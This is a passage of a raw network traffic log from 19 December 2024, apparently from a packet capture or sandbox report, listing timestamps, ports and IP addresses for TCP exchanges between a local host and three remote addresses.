Dec 19, 2024 16:10:29.782231092 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.782354116 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.782392025 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.782407999 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.783179998 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.783190012 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.783248901 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.783248901 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.784131050 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.784174919 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.785090923 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.785126925 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.785164118 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.786062002 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.786101103 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.786108017 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.786262035 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.787120104 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.787133932 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.788039923 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.788072109 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.788099051 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.788961887 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.788995028 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.789074898 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.789139032 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.789179087 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.789179087 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.789215088 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.789226055 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.789254904 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.789268017 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.790198088 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.790390968 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.791435003 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.791456938 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.791538000 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.791538000 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.792454958 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.792556047 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.793540001 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.793632030 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.793663979 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.794565916 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.794595957 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.794624090 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.794780970 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.795339108 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.795411110 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.795466900 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.795718908 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.795763016 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.795766115 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.795797110 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.795811892 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.795862913 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.796113968 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.796271086 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.796360970 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.796438932 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.796582937 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.797132969 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.797269106 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.797291040 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.798077106 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.798111916 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.798188925 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.798249960 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.798326969 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.798892021 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.798960924 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.799186945 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.800067902 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.800081968 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.800134897 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.800134897 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.800749063 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.800801992 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.800832033 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.800904989 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.801731110 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.801822901 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.801830053 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.801980972 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.802463055 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.802495956 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.802575111 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.802584887 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.802674055 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.802831888 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.802834034 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.803119898 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.803292990 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.803808928 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.803822041 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.803977966 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.804632902 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.804714918 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.804769993 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.805743933 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.805809021 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.805839062 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.806241989 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.806652069 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.806664944 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.806735039 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.806735039 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.809384108 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.809422970 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.809495926 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.809495926 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.809504986 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.810053110 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.815861940 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.815913916 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.815967083 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.815987110 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.816147089 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.816330910 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.822940111 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.822976112 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.823107004 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.823107004 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.823123932 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.823617935 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.829081059 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.829123974 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.829225063 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.829243898 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.829277039 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.829413891 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.949867964 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.949974060 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.949987888 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.950242043 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.950337887 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.950515985 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.950546980 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.950854063 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.951288939 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.951534986 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.951689959 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.951817036 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.952662945 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.952676058 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.952689886 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.952723980 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.952919006 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.953824997 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.953838110 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.953950882 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.954794884 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.954967022 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.955446005 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.955822945 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.956217051 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.956231117 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.956290960 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.957021952 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.957036972 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.957098007 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.957098007 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.957679987 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.957693100 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.957705021 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.957717896 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.957719088 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.957739115 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.957746029 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.957746983 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.957751989 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.957767010 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.958559036 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.958590984 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.958657980 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.958717108 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.958992958 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.959621906 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.959693909 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.959729910 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.959950924 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.960514069 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.960587025 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.960603952 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.961373091 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.961473942 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.961579084 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.961606026 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.961663008 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.964533091 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.964623928 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.965815067 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.966401100 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.966908932 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.966921091 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.966972113 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.966984987 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.967000008 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.967083931 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.967351913 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.967365980 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.967379093 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.967392921 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.967417955 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.967437029 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.967449903 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.967462063 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.967566967 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.968420029 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.968512058 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.968740940 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.968806028 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.969383955 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.969453096 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.969470978 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.969638109 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.970393896 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.970474958 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.970532894 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.970632076 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.971292019 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.971366882 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.971374989 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.971719027 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.972316980 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.972330093 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.972388983 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.972388983 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.973324060 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.973478079 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.973510027 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.973614931 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.974387884 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.974405050 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.974481106 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.974509954 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.974522114 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.974576950 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.974576950 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.974591970 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.975203037 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.975270033 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.975280046 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.975327969 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.976196051 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.976243973 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.976272106 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.976542950 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.977178097 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.977257013 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.977360964 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.978214979 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.978358030 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.978394985 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.978578091 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.979322910 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.979511023 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.979542017 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.980407953 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.980544090 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.980572939 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.980986118 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.981307030 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.981446981 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.981448889 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.981659889 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.981673956 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.981683016 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.981760979 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.981760979 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.981770039 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.981873035 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.982455969 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.982536077 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.982580900 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.982692957 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.983273983 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.983374119 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.983403921 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.984141111 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.984249115 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.984277964 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.984579086 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.985022068 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.985158920 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.985182047 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.985363007 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.985985041 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.986051083 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.986144066 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.986237049 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.986978054 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.987024069 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.987193108 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.987602949 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.987622976 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.987698078 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.987698078 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.987704992 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.988106012 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.988126993 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.988164902 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.988168001 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.988571882 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.988990068 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.989049911 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.989182949 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.989985943 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.990098953 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.990101099 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.990236998 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.990710020 CET	443	49893	20.198.118.190	192.168.2.6
Dec 19, 2024 16:10:29.990829945 CET	49893	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:10:29.991055012 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.991157055 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.991286993 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.992180109 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.992289066 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.992319107 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.992954016 CET	49893	443	192.168.2.6	20.198.118.190
Dec 19, 2024 16:10:29.992974997 CET	443	49893	20.198.118.190	192.168.2.6
Dec 19, 2024 16:10:29.993031979 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.993233919 CET	443	49893	20.198.118.190	192.168.2.6
Dec 19, 2024 16:10:29.993304014 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.993383884 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.993808031 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.994168043 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.994239092 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.994296074 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.994420052 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.995115995 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.995142937 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.995218992 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.995218992 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.995228052 CET	443	49888	185.199.109.133	192.168.2.6
Dec 19, 2024 16:10:29.995305061 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.995337009 CET	49888	443	192.168.2.6	185.199.109.133
Dec 19, 2024 16:10:29.995503902 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:29.995532990 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:29.995805025 CET	49881	80	192.168.2.6	31.41.244.11
